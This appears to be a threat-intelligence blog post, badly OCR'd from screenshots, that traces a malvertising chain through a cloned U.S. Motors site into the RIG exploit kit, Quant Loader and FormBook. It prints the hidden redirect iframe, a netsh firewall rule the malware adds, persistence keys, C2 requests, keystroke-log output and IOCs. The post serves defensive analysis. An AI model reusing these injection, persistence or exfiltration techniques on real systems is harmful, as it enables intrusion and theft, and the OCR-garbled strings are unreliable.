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A couple days ago | came across an unusual looking request for a RIG EK landing page.
The log showed the referer to be coming from a site called pay-scale[.]us:

£ Home - U.S. MOTORS - Internet Explorer -0l x|

g-g\ @ @ ritp:/fpay-scale. us O] 42 @ Home - .5, MOTORS x| | A ko

[
MotorBoss ContactUs  About Nidec Motor Corporation | Sellect Language v |
Find a Distributor Online Catalog/Cross Reference Chat Support | &
ABRAND OF THE '
NIDEC MOTOR CORPORATION

OUR PRODUCTS INDUSTRY APPLICATIONS SERVICE & SUPPORT ENERGY EFFICIENCY ABOUT US ﬁ

Introducing World Motor®
A compiete line of severe duty motors

TITAN® 5000 Frame
Horizontal motors.
Field convertibility
without disrupting
motor installation.

TITAN® 5000 Frame Horizontal
With field convertible conduit box

EC Motor Systems
Broad range of ECM solutions for HVACR

Monetize Your Knowledge: PM and Pd for Electric WEFTEC o
Motors NG 02, 2017 . CHIGAGO. I CHOOSE A PROFILE FOR -.-;:<;E|

Looking through the logs surrounding the event | could see that the user visited a shady site
using the .ac ccTLD. Traffic estimates showed that this site received 500K visitors over the
last 30 days. When | was researching the site, | was redirected via malicious ad traffic to tech
support scams. This leads me to believe the initial referer was from malvertising. The malvert
likely redirected the host to pay-scale[.]Jus via a 3XX status code.

Examining the page source for pay-scale[.]Jus shows the website was mirrored
from usmotors[.Jcom using HT Track Website Copier:

‘gllltp:;" pay-scale.us/ - Original Source .-Jﬂ]ﬁl

File Edit Format

4
| <\DOCTYPE html>
<html smlns="http://www,. w3, org/ 1999/ xhtml">

;{'.—— Mirrored from wwuw.usmotors.com/ by HTTrack Website Copier/3.; [MR&CO'2214], Sun, @1 Oct 2017 17:31:01 GNT --»

‘<l-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=utf-8" /><l-- /Added by HTTrack --»

| <head><title>

Heme - U.S, MOTORS :I

W ow O P W e
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Looking a little farther down the page we can see how the user got redirected to RIG EK
from pay-scale[.]us:

g http://pay-scale.us/ - Original Source ‘szl

File Edit Formak

8PZPIcCenxgolnuuYRRHEY2eE@yiaNnsolyk2EvahEsaeb™ />
146 </div>

AENEN 1 frame widih="@" heipght="0" src="h y:f fmedical -help.top/F4tZ785" frameborder="8" ></iframe>
148 <script types"text/javascript™»

143 //<![CDATA[

15@ var theform = document.forms['formi®];

151 if {!'theForm) {

152 theForm = document.forml;

The domain in the hidden iframe, medical-help[.]top, resolves to 91.92.136.170.

Looking at the Whois information shows these domains were registered using the name

“Terry Kornfeld” and email address morganaanna7@gmail.com. Searching for all domains

registered using that name and/or email address returned the following:

Domain Registered

i-yourdoctor][.]Jtop 10/8/2017

highqualitywebhelp[.]Jtop 10/8/2017

filmsdays|.]Jtop 10/4/2017
photosetty[.]Jus 10/2/2017
pay-scale[.]us 10/1/2017

madicalcareme[.]top 9/19/2017

mymedicalcare[.]us 9/17/2017
photo24[.Jtop 9/9/2017
medical-help[.]top 9/9/2017

These sites should be considered malicious. Additionally, some of them are being used for

C2 activities. More on that later.
Below is the GET request that was generated due to the hidden iframe on pay-scale[.]us:

Windows NT 6.1} Trident¢7.8) rvz11.8) like Gecko

......

set-Cookde | ; opiressThu, BS-Mov-2017 28148157 GMT) Max-AgesZ675486; pathe/) domaine.medical-help.top
Do T

Location: http://176.57. 217 T4/ 2MIFANTc Ryl Tmonmdt ORIEKY_c Lividmrtilefy F_wa riATuS55_Btdf 1§85 AR 71 i

TyLARGPR g THE TRt S=N TTezi

The server returns a 302 Found with a location containing the RIG EK landing page URL.
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Further examination of the infrastructure being used in this campaign show that the threat
actor(s) are utilizing Keitaro TDS:

[ =3 e nternet Explorers .-.IEIEI
@vle— Ox] 4| 2 welcomer xl- kT
Welcome!
- Usemame
& Password
=01 x|
D = [C I Pzl 4] @woasonrem x| &

Bxog B cuctemy

INoraH

MNapones

Below is an image of the HTTP traffic captured during this infection chain:

Cuntruson 7

DatPort ke

RIG EK dropped two identical Quant Loader payloads in % TEMP%:
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M [=IE

‘QO?| . = Local Disk (C:) = Users = Win7 32bit = AppData = Local = Temp - @]I Search Temp m‘
Organize *  Includeinlbrary = Sharewith = Mew fiolder = ~ [ @
=~ N - .
v Favorites Marme Date modified | Type | Size | |
B Deskhop (877 bilanebilo 153, exe 10/9/2017 1:41 PM Application 165 KB
4 Downlaads (57 bilanebiloH1 7. exe 100972017 1:41 PM application 165 KB

Ll Recent Pl
iy ecen Haces | FrsapIDebugLagFie. bt 9/19/2016 11:27 FM Text Document KB

- Libraries

@ Documents lI

B ...

When Quant Loader was executed it copied itself to %APPDATA%][uid]svchost.exe:

B RE=TEY
‘@Ov | . = Local Disk (C:) ~ Users = Win7 32bit ~ &pplata ~ Roaming - NN ¥ l@] I SEarch_ lml
Organizé *  Includeinlibrary «  Share with »+  Mew folder 4= = m @
£ Recent Places d Mame | Diate modified | Type | Size | |
. N [0 svchast . exe 10/9)2017 1:44 PM Application 165 KB
7 Libraries

@ Documents J

J? Music

[&=] Pictures

E Videos

[uid] is the eight-digit unique ID generated for the infected host. Forcepoint shows how the
unique ID is generated:

1. Obtain the Windows GUID value

from HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCryptography
2. Extract only the number values, no letters or dashes
3. Copy 8 of the numbers, beginning with the 5th number

The malware then re-launches itself under “svchost.exe” and creates file

“C:Users[Username]AppDataLocalTempper”. The following processes and actions were
recorded:

1. svchost.exe creates process regini.exe

2. regini.exe reads data from file % TEMP%per

3. svchost.exe deletes file % TEMP%per

4. svchost.exe sets AutoStart registry key
“‘HKCUSoftwareMicrosoftWindowsCurrentVersionRunQt”

& Registry Editor ;IEIEI
Flle Edit ‘iew Favorites Help

I OE- o MCT | | mame | Type Data |

I @ ). Policies b i Def aidk) REG_SZ (wakie not sat)

! . RADAR ab REG_SZ crlusersiwin? 32bittappdatalrosming N s chost exe

. Run =
i . RunOnce
i [# Screensavers ﬂ

'Cnrrpmeﬂ,HKEY_G.RRENI’_USER\,SQFM&\,MEmson‘t’l,hl.-hdms'qo.lrmtu‘ersion'mun
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Quant Loader also modifies Windows Firewall to allow outbound communications using the
command:

netsh.exe advfirewall firewall add rule "name=Quant"
"program=c:usersappdatafuid]svchost.exe" dir=0ut action=allow

® windows Firewall with Advanced Security =10lx

File  Action Wiew Help
= 7m= 8=

& Windows Firewal wih Mvanﬁj
=

fowbomaraier

Outbound Rules -

3 Inbound Rules
& Outbound Rules
Selected Ttems -

#a Connection Security Rules
5] B mnnitein _l—l
a I »
| |

| found post-infection traffic to the C2 at filmsdays|[.]Jtop/q/, which was registered by “Terry
Kornfeld” using the email address morganaanna7@gmail.com:

£ Index of / - Internet Explorer =10l x|
= R - +. =] o
@@ - I,Q http: f filmsdays, bop) }:"J +| (2 Index of | x | | ok

Index of /

Name Last modified Size Description

E}gﬁ' 2017-10-07 11:22
Apache/2.4.10 (Debian) Server at filmsdavs.top Port 80

GET /q/index.php?id=|EEC=18mk=8dT751&8i1=H&vr=1.58&b1t=32 HTTP/1.1
Host: filmsdays.top

HTTP/1.1 288 OK

Date: Mon, @9 Oct 2817 28:47:16 GMT
Server: Apache/2.4.18 (Debian)
Content-Length: 38

Content-Type: text/html; charset=UTF-8

aeoBBaedexe=http://motorsus.us/fb.exe;

id = the unique ID of the infected host

c = the current index of the server being used

mk = string likely used as an affiliate of campaign ID
il = Haven’t confirmed

vr = Haven'’t confirmed but could be version number
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¢ bt = Haven’t confirmed but could be x86 or x64

Below is an example of the Quant Loader C2 TCP connections captured during my infection:

Remote Address: 85.217.170.186
Remote Host Name: t.co

Remote Port: 80

Process Name: svchost.exe

Process Path: C:UsersWin7 32bitappdataroaming[uid]svchost.exe

Remote IP Country: Bulgaria

Remote Address: 212.73.150.215
Remote Host Name: v22597.vps.ag
Remote Port: 80

Process Name: svchost.exe

Process Path: C:UsersWin7 32bitappdataroaming[uid]svchost.exe

Remote IP Country: Bulgaria

In my infection the first server (c=1) responded with the location of follow-up malware located

at motorsus|.Jus/fb.exe.

Motorsus[.]us appears to be under control of the same threat actor(s). The name and email
used to register this domain is “Lee M Clark” and john.benjack@mailfence.com. Below is a
list of current domains using that registrant information.

Domain Registered
motorsus.us 10/1/2017
seechicagodance.us 10/1/2017

This payload is dropped in % TEMP% and executed.

I x
E: )év | . = Local Disk.{C:) = Users = Win7 32bit = AppData -~ Local = Temp - m I Search Temp E‘
Qrganize ¥ Open  Share with = Mew Folder 5 - m .ﬁ.

e a O .
[ Favorites Mame Date modified | Type | Size |
Bl Desktop 1092017 1:47 PM &pplication
4 Dovinloads [5 bilonebilo 153 exe 10/9(2017 1:41PM Application 165 KB
=l Recent Pl
S e Haces [5 hilonebilo417 exe 100912017 1:41 PM Application 165 KB
. . . | F#sAPIDebugLogFile, kxt 97192016 11:27 PM Text Document OKB
7 Libraries
|| o32.tmp 10/9)2017 1:41 PM TP File 2KEB

3 Documents ﬂ

|

The malware being downloaded by Quant Loader was identified as FormBook by my

friend @Antelox.
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FormBook, once executed, copied itself (it was hidden) to %USERPROFILE%:

B win7 32bit - O] x|
Ql: ;]v | . = Computer = Local Disk (C:) = Users « Win? 32hit = - lmj I Search Wwin? 32hit M
Qrganize « Oper  Sharewith «  Mew Folder = - O @

‘v Favoritss MName = Date modified | Type | Size |

B Cesktop | AppData 9/19/2016 11:26 PM File Folder
4 Downloads 4 Cantacts 12/8(2016 10:43PM  File Folder

| Recent Pl
s Recent Hares s Dessktop 10/9(2017 1:56 FM File Folder
4 Libraries 4. Downloads 4/10/2017 12:07 AM  File Folder
3 Dacuments L Favoribes 12/812016 10043 PM File Folder
,J'. Music ' Links 12/8/2016 10:43 PM File Folder
=/ Pictures | My Documents 12/8/2016 10:43 PM File: Folder
B videos J My Music 12{5{2016 10:43PM  File folder
_ =My Pickures 12/812016 10043 PM File Folder

18 Computer

H My Yideos 120812016 10:43 PM File Folder
@'-! ST— B Saved Games 12/8/2016 10:43 PM File Folder
' Searches 12/8/2016 10:43 PM File Folder

L | WTUSER.DAT
|| ntuser.dat.LOG1
| ntuser.dat,LOG2

| MTUSER.DAT{6cced2f1-6e01-11de-8bed-00...
|| MTUSER.DAT{6cced2f1-6e01-11de-8bed-00. .
|| MTUSER.DAT{6cced2f1-6e01-11de-8bed-00. .

£k | nkuser.ini

J 20 items

10/8(2017 2:07 PM
10/9(2017 2:07 PM
9192016 11:26 PM
12/8(2016 10:39 PM
12/8(2016 10:39 PM
12/8(2016 10:39 PM
9192016 11:26 PM

DAT File

L1 File

L2 File

BLF File
REGTRAMNS-MS File
REGTRAMNS-MS File

Caonfiguration settings

7od KB
256 KB
OKB
64 KB
S1ZKB
S1ZKB
1 KB

The malware was renamed to mfcgn2pl.exe.

According to FireEye, it can also use the following prefixes for its name:

e ms

e mfc

e Win

e gdi

e vga

e igfx

e user

e help

» config
e update
e regsvc
o chkdsk
e systray
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e audiodg

e certmgr

e autochk

o taskhost

e colorcpl

e services

e lconCache

e ThumbCache
o Cookies

It can also use the following file extensions:

° .exe
e .cOM
e .SCr
o .pif
e .cmd
e .bat

If it is running with normal privileges it is copied to one the following directories:

* %USERPROFILE%
* %APPDATA%
e %TEMP%

Here is another image showing another copy called Cookiescz7x.cmd being created in

%APPDATAY:

_loix]
‘G( )v| .~ Computer = Local Disk (C:) ~ Users « Win7 32bit ~ AppData ~ Roaming ~ > (&3 I Search Roaming !"_']‘
Crganize « Zpen  Sharewith = Print  Mew folder == « [l I@I

‘¢ Favorites 21 mame Date modified | Type | Size | |

B Desktop i 10/9§2017 1:44 PM Fili: Folder

4 Downloads | adobe 12(@i2016 10:06 PM  File Folder

= Recent PI

v REEnt Hares | Identities 9/19/2016 11:27 PM Fille Folder
. ;10187541 100902017 2:55 PM File Fold
= Libraries @ It e alser

3 Documents | Macromedia 4/10/2017 12:06 AM  File Folder

,J'. Music J Micrasaft 10§9)2017 2:11 PM File Folder

&= Pictures | Mazilla f20/2016 12:27 AM  File Folder

B8 videos | | | Sun 49/2017 11:57 PM File Falder

~ 1049420 5 PM WWindows Command Scripk
1M Computer

=
~ | Cookiescz?y.cmd Date modified: 10/9/2017 2:55 PM Date created: 10{9/2017 2:55 PM

B windowss Command Script

Size: 444 KB

If it is running with elevated privileges it copies itself to one of the following directories:
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e %ProgramFiles%
e %CommonProgramFiles%

In my infection | found it configuring persistence to
HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun:

& Registry Editor =|E|1|
File Edi Wiew Faworkes Help
i | PropertySystem E‘ [Harne | Tvpe | Dats |
| B |, Relisbiity b (Default) REG_SZ (value not set)
| B RenameFiles B 70 | REG_SZ Cr\Users\win7 3zbainfegn2pl exe
! HI 1 | #b]Sun)avalpdates... REG_SZ "C:\Program FlestCommon Files)JavalJava Updateljusched. exe®
i RunOrce
i i m SaHtinATvn- =l
‘Computer\HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\Windows\Curr ent Ver sion|Run 7

However, depending on its privileges, it can also use the following locations for persistence:

o HKCUSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun
o HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun
o HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun

FormBook was beaconing to basefilm[.]top/tesla/shell123/config.php.

Basefilm[.]top is registered to “Shirhall Shirhall” and is using the registrant email
address annacrown44@gmail.com.

| captured the following GET requests:

GET /tesla/shell123/config. php - . 17TP/ 1.1

Host: www.basefilm.top
Connection: close

,,,,,, HTTP/1.1 288 OK

Server: nginx

Date: Mon, @3 Oct 2817 28:53:82 GMT
Content-Type: text/html; charset=utf-8
Content-Length: @

Connection: close

The parameter “id” shown in the URL contains encoded information about the system.

The malware also uses HTTP POST requests to send data back to
basefilm[.]Jtop/tesla/shell123/config.php:

POST /tesla/shelll23/config.php HTTR/1.1

Host: www.basefilm,top

Connection: close

Content-Length: 521

Cache-Control: no-cache

Origin: http://www.basefilm.top

User-Agent: Mozilla/5.9@ (Windows NT 6.1; Trident/7.@; rv:11.8) like Gecke
Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.basefilm.top/tesla/shellid3/config.php
Accept-Language: en-US

Accept-Encoding: gzip, deflate

dat=RndUb30hYkIVEpZupoAaTqcanfqLEMRTevdYMIBWE 2THTPHC 5 JeB1 j 2whRyqKMANKVENO Lsc - 52THNRKK TWIS jHy 16FqF 2 -MUWG1he 1 sKINEX TGP Eds@gnikKaakICh-
56Mblg@tfyRcSV33HhBdIZiezAyInsFViks232toZB5TaxRmn8pGQLs1218xDImz fngEvnPECT_oW37ffCdor_IeYr&IsiyS5F IpatihlBe_fyvol3643EIuSzxgRpSCrYQPHFATqbs sB8F TvDwFHos THALSQPNNL pb-

Lzl 7gka_YCXEQmYES59 1 xcHKr1G6 TWuSeSyB YNl gEeRk TS XFkHy TEE5Q0WARbHUqQUINObbLZ jqupBRTFUUZ2R_z1TcoGdSqBosSnX4olTDZaF0txn5FSyeOmlva2BPxr cX_ExOeXdxjegUhSHANGpI3889iknEKDPRE -
Xcb4j36ItgfErl7ym7Ltequdi_plw. . Bun=V21luNyAzMmlpdA==Bbr=8,.HTTP/1.1 206 OK

Server: nginx

Date: Mon, 89 Oct 2017 21:14:88 GMT

Content-Type: text/html; charset=utf-8

Content-Length: @

Connection: close

According to FireEye, these messages to the C2 are RC4 encrypted and Base64 encoded.
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FireEye also mentions that FormBook will use “function hooks to log keystrokes, steal
clipboard data, and extract authentication information from browser HTTP sessions.”

For keystrokes captured during a browsing session with Internet Explorer it created the
following file:

%APPDATA%JQ18T541JQ1log.ini

B 0187541 ) [m] 4
S, -
‘Qn\_)ﬂ . = Local Disk (C:) + Users - Win7 32bit ~ AppData = Roaming - 10187541 - m| Search I15TS41 @l
Orgarize *  |Open v Sharewith v Print  Mew folder = -« 0 @

3 Documents ;I Mame Date modified | Type Size | |
J’ Music .
=] Pictures r'i" I 1laq.ini 10/9/2017 1:53 PM Zonfiguration settings
E Videos
1M Computer J
9‘ Metwark, LI

You can see my HTTP sessions and keystrokes being captured in the .ini file:

-I0ix]

File Edk Format Miew Help

sign in to pank of america online & Mobile Banking to Manage You
Tes

Sign in to Bank of america online & mMobile Banking to Manage vou
bl«-pel]testing[Tab] [Tabltesting

Googla - Imternet Explorar
http::[<-0el] [«-pel] [<-Del] [<-Del]) [<-Del] [<-Dbel]lhttp:/fwew. basef i Im. top/tesla/shel 1123 /hitp: / /T Imsdays. top/q/

GUUE'IE - Internet Explorer
bankin[<-pel] [<-pel] of ame[<-D0el1])[<-0&1] [<-0e1][<-De1] [«-0e1] [<-Del] [<-pe1] [<-Del] [<-De1][<-Del] [<-pe1] [<-pe1] [<-Del1] [<-0el]) [«-0=1] [«-

Chase Bank - Credit Card, Murt?age, Auto, Banking Services - Int
test[Tablte[<-Del] [<-Del] [<-Del]testing

Choose File to uUpload
rempx[Enter]

1] |

Quick note. My friend @Antelox examined the FormBook sample and discovered that it
downloaded ZeuS Panda with web injects for PayPal, eBay, Amazon, and BoQ (Bank of
Queensland). The ZeuS sample can be viewed below:

https://www.virustotal.com/en/file/e4474970dd8d2f9e4a3d4a0fa06d82f8d6¢c2af49737d6¢cb2e
5db6a388aa930ba/analysis/

Network Based |IOCs

e 212.73.150.215 — pay-scale[.]Jus — Malicious dummy site

e 91.92.136.170 — medical-help[.]Jtop — Redirected to RIG EK

e 176.57.217.78 — IP. literal hostname used by RIG EK

e 85.217.170.186 — filmsdays|[.]top — GET /qg/index.php — Quant Loader C2

e 212.73.150.215 — motorsus|.Jus — GET /fb.exe — GET for FormBook

e 169.239.128.162 — basefilm[.]top — GET and POST /tesla/shell123/config.php —
FormBook beacon and C2
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DNS queries for kinnomanna.top:

Hashes

SHA256: ¢10c659498c3bd5ed8454c0041739db7d324ddd09126¢c16ea229ab30e9232de4

File name: RigEK landing page.ixt

SHA256: b5dc599319b6f0968db9318e3d5dbbd6939c4d7b879e45269210a5878b7551a4
File name: RigEK Flash exploit.swf

SHA256: 22ababbe7e754e7163e8adb72f7235ad97ff411a29c98444ddacc24bd04cdc34
File name: 032.tmp

SHA256: 8e94bd154dbea3d020cce1e216f4a327d0ddf65737847ffed34113bf3fdb22dd
File name: bilonebilo417.exe
Hybrid-Analysis Report

SHA256: 2f74f8518bd14a882a870f3794a76dba381b59c1e40247a2483468959b572d82
File name: fb.exe
Hybrid-Analysis Report

SHA256: 0fa6898d426a6176ff7673d2d5336879d418f5be2714605eb32985626f508357
File name: 05110.exe
Hybrid-Analysis Report

SHA256: 72a4b137b02b0ef45f5013b88228132081cff1ecfeccecae5e70069bf38c5bal
File name: 15838.exe
Hybrid-Analysis Report

Downloads

Malicious Artifacts
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